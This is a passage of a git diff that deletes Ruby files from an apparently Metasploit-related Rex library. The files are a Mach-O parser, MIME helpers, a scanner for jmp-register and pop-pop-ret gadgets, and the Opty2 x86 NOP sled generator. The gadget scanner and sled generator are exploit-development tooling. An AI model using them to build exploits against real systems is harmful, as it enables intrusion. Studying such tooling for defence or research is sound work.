::File.open(filename, "rb") - - if disk_backed - return self.new(ImageSource::Disk.new(file)) - else - obj = new_from_string(file.read) - file.close - return obj - end - end - - - def self.new_from_string(data) - return self.new(ImageSource::Memory.new(data)) - end - - def ptr_64? - mach_header.bits == BITS_64 - end - - def ptr_32? - ptr_64? == false - end - - def ptr_s(vaddr) - (ptr_32?) ? ("0x%.8x" % vaddr) : ("0x%.16x" % vaddr) - end - - def read(offset, len) - isource.read(offset, len) - end - - def index(*args) - isource.index(*args) - end - - def close - isource.close - end - -end - - -end -end diff --git a/lib/rex/machparsey/machbase.rb b/lib/rex/machparsey/machbase.rb deleted file mode 100644 index e9eab5c18e..0000000000 --- a/lib/rex/machparsey/machbase.rb +++ /dev/null @@ -1,408 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/struct2' - -module Rex -module MachParsey - -require 'rex/machparsey/exceptions' -require 'rex/struct2' - -class GenericStruct - attr_accessor :struct - def initialize(_struct) - self.struct = _struct - end - - # Access a value - def v - struct.v - end - - # Access a value by array - def [](*args) - struct[*args] - end - - # Obtain an array of all fields - def keys - struct.keys - end - - def method_missing(meth, *args) - v[meth.to_s] || (raise NoMethodError.new, meth) - end -end - -class GenericHeader < GenericStruct -end - -BITS_32 = 0 -BITS_64 = 1 -ENDIAN_LSB = 0 -ENDIAN_MSB = 1 - -class MachBase - - MH_MAGIC = 0xfeedface - MH_MAGIC_64 = 0xfeedfacf - MH_CIGAM = 0xcefaedfe - MH_CIGAM_64 = 0xcffaedfe - MACH_HEADER_SIZE = 28 - MACH_HEADER_SIZE_64 = 32 - - - MACH_HEADER_LSB = Rex::Struct2::CStructTemplate.new( - ['uint32v', 'magic', 0], - ['uint32v', 'cputype', 0], - ['uint32v', 'cpusubtype',0], - ['uint32v', 'filetype', 0], - ['uint32v', 'ncmds', 0], - ['uint32v', 'sizeofcmds',0], - ['uint32v', 'flags', 0] - ) - - MACH_HEADER_MSB = Rex::Struct2::CStructTemplate.new( - ['uint32n', 'magic', 0], - ['uint32n', 'cputype', 0], - ['uint32n', 'cpusubtype',0], - ['uint32n', 'filetype', 0], - ['uint32n', 'ncmds', 0], - ['uint32n', 'sizeofcmds',0], - ['uint32n', 'flags', 0] - ) - - - MACH_HEADER_64_LSB = Rex::Struct2::CStructTemplate.new( - ['uint32v', 'magic', 0], - ['uint32v', 'cputype', 0], - ['uint32v', 'cpusubtype',0], - ['uint32v', 'filetype', 0], - ['uint32v', 'ncmds', 0], - ['uint32v', 'sizeofcmds',0], - ['uint32v', 'flags', 0], - ['uint32v', 'reserved', 0] - ) - - MACH_HEADER_64_MSB = Rex::Struct2::CStructTemplate.new( - ['uint32n', 'magic', 0], - ['uint32n', 'cputype', 0], - ['uint32n', 'cpusubtype',0], - ['uint32n', 'filetype', 0], - ['uint32n', 'ncmds', 0], - ['uint32n', 'sizeofcmds',0], - ['uint32n', 'flags', 0], - ['uint32n', 'reserved', 0] - ) - - #cpu types for Mach-O binaries - CPU_TYPE_I386 = 0x7 - CPU_TYPE_X86_64 = 0x01000007 - CPU_TYPE_ARM = 0xC - CPU_TYPE_POWERPC = 0x12 - CPU_TYPE_POWERPC64 = 0x01000012 - - CPU_SUBTYPE_LITTLE_ENDIAN = 0 - CPU_SUBTYPE_BIG_ENDIAN = 1 - - LC_SEGMENT = 0x1 #/* segment of this file to be mapped */ - LC_SYMTAB = 0x2 #/* link-edit stab symbol table info */ - LC_SYMSEG = 0x3 #/* link-edit gdb symbol table info (obsolete) */ - LC_THREAD = 0x4 #/* thread */ - LC_UNIXTHREAD = 0x5 #/* unix thread (includes a stack) */ - LC_LOADFVMLIB = 0x6 #/* load a specified fixed VM shared library */ - LC_IDFVMLIB = 0x7 #/* fixed VM shared library identification */ - LC_IDENT = 0x8 #/* object identification info (obsolete) */ - LC_FVMFILE = 0x9 #/* fixed VM file inclusion (internal use) */ - LC_PREPAGE = 0xa #/* prepage command (internal use) */ - LC_DYSYMTAB = 0xb #/* dynamic link-edit symbol table info */ - LC_LOAD_DYLIB = 0xc #/* load a dynamicly linked shared library */ - LC_ID_DYLIB = 0xd #/* dynamicly linked shared lib identification */ - LC_LOAD_DYLINKER = 0xe #/* load a dynamic linker */ - LC_ID_DYLINKER = 0xf #/* dynamic linker identification */ - LC_PREBOUND_DYLIB = 0x10 #/* modules prebound for a dynamicly */ - LC_SEGMENT_64 = 0x19 #/* segment of this file to be mapped */ - - - - - class MachHeader < GenericHeader - attr_accessor :bits, :endian - - def initialize(rawdata) - mach_header = MACH_HEADER_LSB.make_struct - if !mach_header.from_s(rawdata) - raise MachHeaderError, "Could't access Mach-O Magic", caller - end - - if mach_header.v['magic'] == MH_MAGIC - endian = ENDIAN_LSB - bits = BITS_32 - mach_header = MACH_HEADER_LSB.make_struct - elsif mach_header.v['magic'] == MH_CIGAM - bits = BITS_32 - endian = ENDIAN_MSB - mach_header = MACH_HEADER_MSB.make_struct - elsif mach_header.v['magic'] == MH_MAGIC_64 - endian = ENDIAN_LSB - bits = BITS_64 - mach_header = MACH_HEADER_LSB.make_struct - elsif mach_header.v['magic'] == MH_CIGAM_64 - endian = ENDIAN_MSB - bits = BITS_64 - mach_header = MACH_HEADER_MSB.make_struct - else - raise MachHeaderError, "Couldn't find Mach Magic", caller - end - - if !mach_header.from_s(rawdata) - raise MachHeaderError, "Could't process Mach-O Header", caller - end - - self.struct = mach_header - self.endian = endian - self.bits = bits - end - end - - LOAD_COMMAND_SIZE = 8 - - LOAD_COMMAND_LSB = Rex::Struct2::CStructTemplate.new( - ['uint32v','cmd',0], - ['uint32v','cmdsize',0] - ) - - LOAD_COMMAND_MSB = Rex::Struct2::CStructTemplate.new( - ['uint32n','cmd',0], - ['uint32n','cmdsize',0] - ) - - class LoadCommand < GenericHeader - def initialize(rawdata, endian) - - if endian == ENDIAN_MSB - load_command = LOAD_COMMAND_MSB.make_struct - else - load_command = LOAD_COMMAND_LSB.make_struct - end - - if !load_command.from_s(rawdata) - raise MachParseError, "Couldn't parse load command" - end - - self.struct = load_command - - end - end - - SEGMENT_COMMAND_SIZE = 56 - - SEGMENT_COMMAND_LSB = Rex::Struct2::CStructTemplate.new( - ['uint32v', 'cmd', 0], - ['uint32v', 'cmdsize', 0], - ['string', 'segname', 16, ''], - ['uint32v', 'vmaddr', 0], - ['uint32v', 'vmsize', 0], - ['uint32v', 'fileoff', 0], - ['uint32v', 'filesize', 0], - ['uint32v', 'maxprot', 0], - ['uint32v', 'initprot', 0], - ['uint32v', 'nsects', 0], - ['uint32v', 'flags', 0] - ) - - SEGMENT_COMMAND_MSB = Rex::Struct2::CStructTemplate.new( - ['uint32n', 'cmd', 0], - ['uint32n', 'cmdsize', 0], - ['string', 'segname', 16, ''], - ['uint32n', 'vmaddr', 0], - ['uint32n', 'vmsize', 0], - ['uint32n', 'fileoff', 0], - ['uint32n', 'filesize', 0], - ['uint32n', 'maxprot', 0], - ['uint32n', 'initprot', 0], - ['uint32n', 'nsects', 0], - ['uint32n', 'flags', 0] - ) - - SEGMENT_COMMAND_SIZE_64 = 72 - - SEGMENT_COMMAND_64_LSB = Rex::Struct2::CStructTemplate.new( - ['uint32v', 'cmd', 0], - ['uint32v', 'cmdsize', 0], - ['string', 'segname', 16, ''], - ['uint64v', 'vmaddr', 0], - ['uint64v', 'vmsize', 0], - ['uint64v', 'fileoff', 0], - ['uint64v', 'filesize', 0], - ['uint32v', 'maxprot', 0], - ['uint32v', 'initprot', 0], - ['uint32v', 'nsects', 0], - ['uint32v', 'flags', 0] - ) - - SEGMENT_COMMAND_64_MSB = Rex::Struct2::CStructTemplate.new( - ['uint32n', 'cmd', 0], - ['uint32n', 'cmdsize', 0], - ['string', 'segname', 16, ''], - ['uint64n', 'vmaddr', 0], - ['uint64n', 'vmsize', 0], - ['uint64n', 'fileoff', 0], - ['uint64n', 'filesize', 0], - ['uint32n', 'maxprot', 0], - ['uint32n', 'initprot', 0], - ['uint32n', 'nsects', 0], - ['uint32n', 'flags', 0] - ) - - class Segment < GenericHeader - attr_accessor :_bits, :_endian - - def initialize(rawdata, bits, endian) - self._bits = bits - - if bits == BITS_64 - if endian == ENDIAN_MSB - segment_command = SEGMENT_COMMAND_64_MSB.make_struct - else - segment_command = SEGMENT_COMMAND_64_LSB.make_struct - end - else - if endian == ENDIAN_MSB - segment_command = SEGMENT_COMMAND_MSB.make_struct - else - segment_command = SEGMENT_COMMAND_LSB.make_struct - end - end - if !segment_command.from_s(rawdata) - raise MachParseError, "Couldn't parse segment command" - end - - self.struct = segment_command - end - - def Segname - v['segname'] - end - - def Vmaddr - v['vmaddr'] - end - - def Vmsize - v['vmsize'] - end - - def FileOff - v['fileoff'] - end - - def FileSize - v['filesize'] - end - end - - class Thread < GenericHeader - def initialize(rawdata) - end - end -end - - FAT_MAGIC = 0xcafebabe - FAT_CIGAM = 0xbebafeca - FAT_HEADER_SIZE = 8 - - FAT_HEADER_LSB = Rex::Struct2::CStructTemplate.new( - ['uint32v', 'magic', 0], - ['uint32v', 'nfat_arch',0] - ) - - FAT_HEADER_MSB = Rex::Struct2::CStructTemplate.new( - ['uint32n', 'magic', 0], - ['uint32n', 'nfat_arch',0] - ) - - - FAT_ARCH_SIZE = 20 - - FAT_ARCH_LSB = Rex::Struct2::CStructTemplate.new( - ['uint32v', 'cpu_type', 0], - ['uint32v', 'cpu_subtype',0], - ['uint32v', 'offset', 0], - ['uint32v', 'size', 0], - ['uint32v', 'align', 0] - ) - - FAT_ARCH_MSB = Rex::Struct2::CStructTemplate.new( - ['uint32n', 'cpu_type', 0], - ['uint32n', 'cpu_subtype',0], - ['uint32n', 'offset', 0], - ['uint32n', 'size', 0], - ['uint32n', 'align', 0] - ) - - -class FatBase - - class FatHeader < GenericHeader - attr_accessor :nfat_arch, :endian, :exists - - def initialize(rawdata) - fat_header = FAT_HEADER_LSB.make_struct - if !fat_header.from_s(rawdata) - #raise something - end - - magic = fat_header.v['magic'] - if magic == FAT_MAGIC - endian = ENDIAN_LSB - elsif magic == FAT_CIGAM - endian = ENDIAN_MSB - fat_header = FAT_HEADER_MSB.make_struct - if !fat_header.from_s(rawdata) - raise FatHeaderError, "Could not parse FAT header" - end - else - self.exists = 0 - return - end - - self.nfat_arch = fat_header.v['nfat_arch'] - self.struct = fat_header - self.endian = endian - end - end - - class FatArch < GenericHeader - attr_accessor :cpu_type, :cpu_subtype, :offset, :size - - def initialize(rawdata, endian) - if endian == ENDIAN_LSB - fat_arch = FAT_ARCH_LSB.make_struct - else - fat_arch = FAT_ARCH_MSB.make_struct - end - - if !fat_arch.from_s(rawdata) - raise FatHeaderError, "Could not parse arch from FAT header" - end - - self.cpu_type = fat_arch.v['cpu_type'] - self.cpu_subtype = fat_arch.v['cpu_subtype'] - self.offset = fat_arch.v['offset'] - self.size = fat_arch.v['size'] - self.struct = fat_arch - end - - end - - class Thread < GenericHeader - def initialize(rawdata) - end - end - - -end - -end -end diff --git a/lib/rex/machscan.rb b/lib/rex/machscan.rb deleted file mode 100644 index ce8d22724d..0000000000 --- a/lib/rex/machscan.rb +++ /dev/null @@ -1,9 +0,0 @@ -# -*- coding: binary -*- - -module Rex -module MachScan - -end -end - -require 'rex/machscan/scanner' diff --git a/lib/rex/machscan/scanner.rb b/lib/rex/machscan/scanner.rb deleted file mode 100644 index b1d9aaa5e4..0000000000 --- a/lib/rex/machscan/scanner.rb +++ /dev/null @@ -1,217 +0,0 @@ -# -*- coding: binary -*- - -module Rex -module MachScan -module Scanner -class Generic - - attr_accessor :mach, :fat, :regex - - def initialize(binary) - if binary.class == Rex::MachParsey::Mach - self.mach = binary - else - self.fat = binary - end - end - - def config(param) - end - - def scan(param) - config(param) - - $stdout.puts "[#{param['file']}]" - - if !self.mach - for mach in fat.machos - if mach.mach_header.cputype == 0x7 #since we only support intel for the time being its all we process - self.mach = mach - end - end - end - - self.mach.segments.each do |segment| - if segment.segname.include? "__TEXT" - scan_segment(segment, param).each do |hit| - vaddr = hit[0] - message = hit[1].is_a?(Array) ? hit[1].join(" ") : hit[1] - $stdout.puts self.mach.ptr_s(vaddr - self.mach.fat_offset) + " " + message - end - end - end - - end - - def scan_segment(segment, param={}) - [] - end -end - -class JmpRegScanner < Generic - - def config(param) - regnums = param['args'] - - # build a list of the call bytes - calls = _build_byte_list(0xd0, regnums - [4]) # note call esp's don't work.. - jmps = _build_byte_list(0xe0, regnums) - pushs1 = _build_byte_list(0x50, regnums) - pushs2 = _build_byte_list(0xf0, regnums) - - regexstr = '(' - if !calls.empty? - regexstr += "\xff[#{calls}]|" - end - - regexstr += "\xff[#{jmps}]|([#{pushs1}]|\xff[#{pushs2}])(\xc3|\xc2..))" - - self.regex = Regexp.new(regexstr, nil, 'n') - end - - # build a list for regex of the possible bytes, based on a base - # byte and a list of register numbers.. - def _build_byte_list(base, regnums) - regnums.collect { |regnum| Regexp.escape((base | regnum).chr) }.join('') - end - - def _ret_size(offset) - case mach.read(offset, 1) - when "\xc3" - return 1 - when "\xc2" - return 3 - end - $stderr.puts("Invalid return instruction") - end - - def _parse_ret(data) - if data.length == 1 - return "ret" - else - return "retn 0x%04x" % data[1, 2].unpack('v')[0] - end - end - - def scan_segment(segment, param={}) - base_addr = segment.vmaddr - segment_offset = segment.fileoff - offset = segment_offset - - hits = [] - - while (offset = mach.index(regex, offset)) != nil - - vaddr = base_addr + (offset - segment_offset) - message = '' - - parse_ret = false - - byte1 = mach.read(offset, 1).unpack("C*")[0] - - if byte1 == 0xff - byte2 = mach.read(offset+1, 1).unpack("C*")[0] - regname = Rex::Arch::X86.reg_name32(byte2 & 0x7) - - case byte2 & 0xf8 - when 0xd0 - message = "call #{regname}" - offset += 2 - when 0xe0 - message = "jmp #{regname}" - offset += 2 - when 0xf0 - retsize = _ret_size(offset+2) - message = "push #{regname}; " + _parse_ret(mach.read(offset+2, retsize)) - offset += 2 + retsize - else - raise "Unexpected value at offset: #{offset}" - end - else - regname = Rex::Arch::X86.reg_name32(byte1 & 0x7) - retsize = _ret_size(offset+1) - message = "push #{regname}; " + _parse_ret(mach.read(offset+1, retsize)) - offset += 1 + retsize - end - - hits << [ vaddr, message ] - end - - return hits - end -end - -class PopPopRetScanner < JmpRegScanner - - def config(param) - pops = _build_byte_list(0x58, (0 .. 7).to_a - [4]) # we don't want pop esp's... - self.regex = Regexp.new("[#{pops}][#{pops}](\xc3|\xc2..)", nil, 'n') - end - - def scan_segment(segment, param={}) - base_addr = segment.vmaddr - segment_offset = segment.fileoff - offset = segment_offset - - hits = [] - - while offset < segment.fileoff + segment.filesize && (offset = mach.index(regex, offset)) != nil - - vaddr = base_addr + (offset - segment_offset) - message = '' - - pops = mach.read(offset, 2) - reg1 = Rex::Arch::X86.reg_name32(pops[0,1].unpack("C*")[0] & 0x7) - reg2 = Rex::Arch::X86.reg_name32(pops[1,1].unpack("C*")[0] & 0x7) - - message = "pop #{reg1}; pop #{reg2}; " - - retsize = _ret_size(offset+2) - message += _parse_ret(mach.read(offset+2, retsize)) - - offset += 2 + retsize - - hits << [ vaddr, message ] - end - - return hits - end -end - -class RegexScanner < JmpRegScanner - - def config(param) - self.regex = Regexp.new(param['args'], nil, 'n') - end - - def scan_segment(segment, param={}) - base_addr = segment.vmaddr - segment_offset = segment.fileoff - offset = segment_offset - - hits = [] - - while offset < segment.fileoff + segment.filesize && (offset = mach.index(regex, offset)) != nil - - idx = offset - buf = '' - mat = nil - - while (! (mat = buf.match(regex))) - buf << mach.read(idx, 1) - idx += 1 - end - - vaddr = base_addr + (offset - segment_offset) - - hits << [ vaddr, buf.unpack("H*") ] - offset += buf.length - end - return hits - end -end - -end -end -end - diff --git a/lib/rex/mime.rb b/lib/rex/mime.rb deleted file mode 100644 index 840b4ab2bc..0000000000 --- a/lib/rex/mime.rb +++ /dev/null @@ -1,10 +0,0 @@ -# -*- coding: binary -*- -module Rex -module MIME - -require 'rex/mime/header' -require 'rex/mime/part' -require 'rex/mime/message' - -end -end diff --git a/lib/rex/mime/encoding.rb b/lib/rex/mime/encoding.rb deleted file mode 100644 index d9805c00e1..0000000000 --- a/lib/rex/mime/encoding.rb +++ /dev/null @@ -1,17 +0,0 @@ -# -*- coding: binary -*- -module Rex -module MIME -# Set of helpers methods to deal with SMTP encoding related topics. -module Encoding - - # Enforces CRLF on the input data - # - # @param data [String] The data to CRLF enforce. - # @return [String] CRLF enforced data. - def force_crlf(data) - data.gsub("\r", '').gsub("\n", "\r\n") - end - -end -end -end diff --git a/lib/rex/mime/header.rb b/lib/rex/mime/header.rb deleted file mode 100644 index a1830f838b..0000000000 --- a/lib/rex/mime/header.rb +++ /dev/null @@ -1,79 +0,0 @@ -# -*- coding: binary -*- -module Rex -module MIME -class Header - - require 'rex/text' - - attr_accessor :headers - - def initialize(data='') - self.headers = [] - parse(data) - end - - def parse(data) - prev = nil - data.gsub("\r", '').split("\n").each do |line| - - # Handle header folding - if (line =~ /^\s+/) - # Ignore if there is no previous header - next if not prev - next if not self.headers[prev] - self.headers[prev][1] << line.strip - next - end - - var, val = line.split(':', 2) - next if val.nil? - - self.headers << [ var.to_s.strip, val.to_s.strip ] - prev = self.headers.length - 1 - end - end - - def to_s - self.headers.map{ |pair| "#{pair[0]}: #{pair[1]}\r\n" }.join - end - - def find(idx) - if (idx.class == ::Fixnum) - return self.headers[idx] - else - self.headers.each do |pair| - if (pair[0] == idx.to_s) - return pair - end - end - end - nil - end - - def set(var, val) - hdr = self.find(var) || self.add(var, '') - hdr[1] = val - end - - def add(var, val) - self.headers << [var, val] - self.headers[-1] - end - - def remove(idx) - if (idx.class == ::Fixnum) - self.headers.delete_at(idx) - else - self.headers.each_index do |i| - pair = self.headers[i] - if (pair[0] == idx.to_s) - self.headers.delete_at(i) - end - end - end - end - -end -end -end - diff --git a/lib/rex/mime/message.rb b/lib/rex/mime/message.rb deleted file mode 100644 index 150a7c081b..0000000000 --- a/lib/rex/mime/message.rb +++ /dev/null @@ -1,144 +0,0 @@ -# -*- coding: binary -*- -module Rex -module MIME -class Message - - require 'rex/mime/header' - require 'rex/mime/part' - require 'rex/mime/encoding' - require 'rex/text' - - include Rex::MIME::Encoding - - attr_accessor :header, :parts, :bound, :content - - - def initialize(data=nil) - self.header = Rex::MIME::Header.new - self.parts = [] - self.bound = "_Part_#{rand(1024)}_#{rand(0xffffffff)}_#{rand(0xffffffff)}" - self.content = '' - if data - head,body = data.split(/\r?\n\r?\n/, 2) - - self.header.parse(head) - ctype = self.header.find('Content-Type') - - if ctype && ctype[1] && ctype[1] =~ /multipart\/mixed;\s*boundary="?([A-Za-z0-9'\(\)\+\_,\-\.\/:=\?^\s]+)"?/ - self.bound = $1 - chunks = body.to_s.split(/--#{self.bound}(--)?\r?\n/) - self.content = chunks.shift.to_s.gsub(/\s+$/, '') - self.content << "\r\n" unless self.content.empty? - - chunks.each do |chunk| - break if chunk == "--" - head,body = chunk.split(/\r?\n\r?\n/, 2) - part = Rex::MIME::Part.new - part.header.parse(head) - part.content = body.gsub(/\s+$/, '') - self.parts << part - end - else - self.content = body.to_s.gsub(/\s+$/, '') + "\r\n" - end - end - end - - def to - (self.header.find('To') || [nil, nil])[1] - end - - def to=(val) - self.header.set("To", val) - end - - def from=(val) - self.header.set("From", val) - end - - def from - (self.header.find('From') || [nil, nil])[1] - end - - def subject=(val) - self.header.set("Subject", val) - end - - def subject - (self.header.find('Subject') || [nil, nil])[1] - end - - def mime_defaults - self.header.set("MIME-Version", "1.0") - self.header.set("Content-Type", "multipart/mixed; boundary=\"#{self.bound}\"") - self.header.set("Subject", '') # placeholder - self.header.set("Date", Time.now.strftime("%a,%e %b %Y %H:%M:%S %z")) - self.header.set("Message-ID", - "<"+ - Rex::Text.rand_text_alphanumeric(rand(20)+40)+ - "@"+ - Rex::Text.rand_text_alpha(rand(20)+3)+ - ">" - ) - self.header.set("From", '') # placeholder - self.header.set("To", '') # placeholder - end - - - def add_part(data='', content_type='text/plain', transfer_encoding="8bit", content_disposition=nil) - part = Rex::MIME::Part.new - - if content_disposition - part.header.set("Content-Disposition", content_disposition) - end - - part.header.set("Content-Type", content_type) if content_type - - if transfer_encoding - part.header.set("Content-Transfer-Encoding", transfer_encoding) - end - - part.content = data - self.parts << part - part - end - - def add_part_attachment(data, name) - self.add_part( - Rex::Text.encode_base64(data, "\r\n"), - "application/octet-stream; name=\"#{name}\"", - "base64", - "attachment; filename=\"#{name}\"" - ) - end - - - def add_part_inline_attachment(data, name) - self.add_part( - Rex::Text.encode_base64(data, "\r\n"), - "application/octet-stream; name=\"#{name}\"", - "base64", - "inline; filename=\"#{name}\"" - ) - end - - def to_s - header_string = self.header.to_s - - msg = header_string.empty? ? '' : force_crlf(self.header.to_s + "\r\n") - msg << force_crlf(self.content + "\r\n") unless self.content.blank? - - self.parts.each do |part| - msg << force_crlf("--" + self.bound + "\r\n") - msg << part.to_s - end - - msg << force_crlf("--" + self.bound + "--\r\n") if self.parts.length > 0 - - msg - end - -end -end -end - diff --git a/lib/rex/mime/part.rb b/lib/rex/mime/part.rb deleted file mode 100644 index ef80bb5ec5..0000000000 --- a/lib/rex/mime/part.rb +++ /dev/null @@ -1,50 +0,0 @@ -# -*- coding: binary -*- -module Rex -module MIME -class Part - - require 'rex/mime/header' - require 'rex/mime/encoding' - - include Rex::MIME::Encoding - - attr_accessor :header, :content - - def initialize - self.header = Rex::MIME::Header.new - self.content = '' - end - - def to_s - self.header.to_s + "\r\n" + content_encoded + "\r\n" - end - - # Returns the part content with any necessary encoding or transformation - # applied. - # - # @return [String] Content with encoding or transformations applied. - def content_encoded - binary_content? ? content : force_crlf(content) - end - - # Answers if the part content is binary. - # - # @return [Boolean] true if the part content is binary, false otherwise. - def binary_content? - transfer_encoding && transfer_encoding == 'binary' - end - - # Returns the Content-Transfer-Encoding of the part. - # - # @return [nil] if the part hasn't Content-Transfer-Encoding. - # @return [String] The Content-Transfer-Encoding or the part. - def transfer_encoding - h = header.find('Content-Transfer-Encoding') - return nil if h.nil? - - h[1] - end - -end -end -end diff --git a/lib/rex/nop/opty2.rb b/lib/rex/nop/opty2.rb deleted file mode 100644 index aad6adbc85..0000000000 --- a/lib/rex/nop/opty2.rb +++ /dev/null @@ -1,109 +0,0 @@ -# -*- coding: binary -*- -require 'rex/arch/x86' -require 'rex/nop/opty2_tables' - -module Rex -module Nop - -### -# -# This class provides an interface to generating multi-byte NOP sleds for x86. -# Optyx and spoonm get the creds! -# -### -class Opty2 - - Table = Rex::Nop::Opty2Tables::StateTable - - def initialize(badchars = '', save_registers = nil) - self.badchars = badchars - self.save_registers = (save_registers || []) | [ 'esp', 'ebp'] - end - - # - # Generates the Opty2 multi-byte NOP sled. - # - def generate_sled(length) - return '' if (length <= 0) - - # Initialize the sled buffer, the previous state, and the current stream - # length. - sled = '' - prev = 256 - slen = 0 - - # Initialize the byte count array - counts = [] - - 256.times { |idx| counts[idx] = 0 } - - # Initialize the bad register mask - mask = 0 - - save_registers.each { |reg| - mask |= 1 << (Rex::Arch::X86.reg_number(reg)) - } - mask = mask << 16 - - # Initialize the bad byte lookup table - bad_bytes = [] - (badchars || '').each_byte { |byte| - bad_bytes[byte] = 1 - } - - # Build the sled - while (length > 0) - low = -1 - lows = [] - - Table[prev].each { |nt| - nt.each { |e| - # Skip it if it's masked off or too large - next if ((e & mask) != 0) - next if (((e >> 8) & 0xff) > slen) - - byte = e & 0xff - - # Skip it if it's a bad byte - next if (bad_bytes[byte] == 1) - - # Use it if it's a better value - if ((low == -1) or (low > counts[byte])) - low = counts[byte] - lows = [byte] - # Otherwise, if it's just as good.. - elsif (low == counts[byte]) - lows << byte - end - } - } - - # If we didn't find at least one byte possibility, then we're stuck. - # Abort. - if (low == -1) - raise RuntimeError, "Failed to find a valid byte." - end - - # Pick a random character for the possiblities - prev = lows[rand(lows.length)] - - # Increment its used count - counts[prev] += 1 - - # Prepend the byte to the sled - sled = prev.chr + sled - - # Increment the sled length - slen += 1 - length -= 1 - end - - # Return the sled - sled - end - - attr_accessor :badchars, :save_registers # :nodoc: -end - -end -end diff --git a/lib/rex/nop/opty2_tables.rb b/lib/rex/nop/opty2_tables.rb deleted file mode 100644 index 0895c1e7f4..0000000000 --- a/lib/rex/nop/opty2_tables.rb +++ /dev/null @@ -1,301 +0,0 @@ -# -*- coding: binary -*- -module Rex -module Nop - -module Opty2Tables - - SharedShift0 = - [ - 65796,66565,1048582,65804,66573,1048590,65812,66581,1048598,65820,66589, - 1048606,65828,66597,65575,65836,66605,65583,65844,66613,65591,316,1085, - 65599,65600,131137,262210,524355,1048644,2097221,4194374,8388679,65608, - 131145,262218,524363,1048652,2097229,4194382,8388687,1048656,1048657, - 1048658,1048659,1048660,1048661,1048662,1048663,1114200,1179737,1310810, - 1572955,1048668,3145821,5242974,9437279,1048672,1049704,1048938,144, - 196753,327826,589971,1114260,2162837,4259990,8454295,65688,262297,155, - 1048732,65695,424,1193,65968,131505,262578,524723,65972,131509,262582, - 524727,66744,132281,263354,525499,1049788,2098365,4195518,8389823,66260, - 66005,65750,245,248,249,252,253,359 - ] - - StateTable = - [ -# 0x00 - [[65796,66565,1048582,65804,66573,1048590,65812,66581,1048598,65820,66589,1048606,65828,66597,65575,65836,66605,65583,65844,66613,65591,316,1085,65599,65600,131137,262210,524355,1048644,2097221,4194374,8388679,65608,131145,262218,524363,1048652,2097229,4194382,8388687,1048656,1048657,1048658,1048659,1048660,1048661,1048662,1048663,1114200,1179737,1310810,1572955,1048668,3145821,5242974,9437279,1048672,1049704,1048938,368,369,370,371,372,373,374,375,376,377,378,379,380,381,382,383,144,196753,327826,589971,1114260,2162837,4259990,8454295,65688,262297,155,1048732,65695,424,1193,65968,131505,262578,524723,65972,131509,262582,524727,66744,132281,263354,525499,1049788,2098365,4195518,8389823,66005,65750,131552,131553,131554,483,491,245,248,249,252,253,358,359, 0x01018D]], - [SharedShift0, [624,625,626,627,628,629,630,631,632,633,634,635,636,637,638,639,131808,131809,131810,739,747,358, 0x01018D]], - [SharedShift0, [880,881,882,883,884,885,886,887,888,889,890,891,892,893,894,895,132064,132065,132066,995,1003,358, 0x01018D]], - [SharedShift0, [1136,1137,1138,1139,1140,1141,1142,1143,1144,1145,1146,1147,1148,1149,1150,1151,132320,132321,132322,1251,1259,358, 0x01018D]], - [SharedShift0, [1392,1393,1394,1395,1396,1397,1398,1399,1400,1401,1402,1403,1404,1405,1406,1407,132576,132577,132578,1507,1515,358]], - [SharedShift0, [1648,1649,1650,1651,1652,1653,1654,1655,1656,1657,1658,1659,1660,1661,1662,1663,132832,132833,132834,1763,1771,358]], - [SharedShift0, [1904,1905,1906,1907,1908,1909,1910,1911,1912,1913,1914,1915,1916,1917,1918,1919,133088,133089,133090,2019,2027,358, 0x01018D]], - [SharedShift0, [2160,2161,2162,2163,2164,2165,2166,2167,2168,2169,2170,2171,2172,2173,2174,2175,133344,133345,133346,2275,2283,358, 0x01018D]], - [SharedShift0, [2416,2417,2418,2419,2420,2421,2422,2423,2424,2425,2426,2427,2428,2429,2430,2431,133600,133601,133602,2531,2539,358, 0x02018D]], - [SharedShift0, [2672,2673,2674,2675,2676,2677,2678,2679,2680,2681,2682,2683,2684,2685,2686,2687,133856,133857,133858,2787,2795,358, 0x02018D]], - [SharedShift0, [2928,2929,2930,2931,2932,2933,2934,2935,2936,2937,2938,2939,2940,2941,2942,2943,134112,134113,134114,3043,3051,358, 0x02018D]], - [SharedShift0, [3184,3185,3186,3187,3188,3189,3190,3191,3192,3193,3194,3195,3196,3197,3198,3199,134368,134369,134370,3299,3307,358, 0x02018D]], - [SharedShift0, [3440,3441,3442,3443,3444,3445,3446,3447,3448,3449,3450,3451,3452,3453,3454,3455,134624,134625,134626,3555,3563,358]], - [SharedShift0, [3696,3697,3698,3699,3700,3701,3702,3703,3704,3705,3706,3707,3708,3709,3710,3711,134880,134881,134882,3811,3819,358]], - [SharedShift0, [3952,3953,3954,3955,3956,3957,3958,3959,3960,3961,3962,3963,3964,3965,3966,3967,135136,135137,135138,4067,4075,358, 0x02018D]], - [SharedShift0, [4208,4209,4210,4211,4212,4213,4214,4215,4216,4217,4218,4219,4220,4221,4222,4223,135392,135393,135394,4323,4331, 0x02018D]], -# 0x10 - [SharedShift0, [4464,4465,4466,4467,4468,4469,4470,4471,4472,4473,4474,4475,4476,4477,4478,4479,135648,135649,135650,4579,4587,358, 0x04018D]], - [SharedShift0, [4720,4721,4722,4723,4724,4725,4726,4727,4728,4729,4730,4731,4732,4733,4734,4735,135904,135905,135906,4835,4843,358, 0x04018D]], - [SharedShift0, [4976,4977,4978,4979,4980,4981,4982,4983,4984,4985,4986,4987,4988,4989,4990,4991,136160,136161,136162,5091,5099,358, 0x04018D]], - [SharedShift0, [5232,5233,5234,5235,5236,5237,5238,5239,5240,5241,5242,5243,5244,5245,5246,5247,136416,136417,136418,5347,5355,358, 0x04018D]], - [SharedShift0, [5488,5489,5490,5491,5492,5493,5494,5495,5496,5497,5498,5499,5500,5501,5502,5503,136672,136673,136674,5603,5611,358]], - [SharedShift0, [5744,5745,5746,5747,5748,5749,5750,5751,5752,5753,5754,5755,5756,5757,5758,5759,136928,136929,136930,5859,5867,358]], - [SharedShift0, [6000,6001,6002,6003,6004,6005,6006,6007,6008,6009,6010,6011,6012,6013,6014,6015,137184,137185,137186,6115,6123,358, 0x04018D]], - [SharedShift0, [6256,6257,6258,6259,6260,6261,6262,6263,6264,6265,6266,6267,6268,6269,6270,6271,137440,137441,137442,6371,6379,358, 0x04018D]], - [SharedShift0, [6512,6513,6514,6515,6516,6517,6518,6519,6520,6521,6522,6523,6524,6525,6526,6527,137696,137697,137698,6627,6635,358, 0x08018D]], - [SharedShift0, 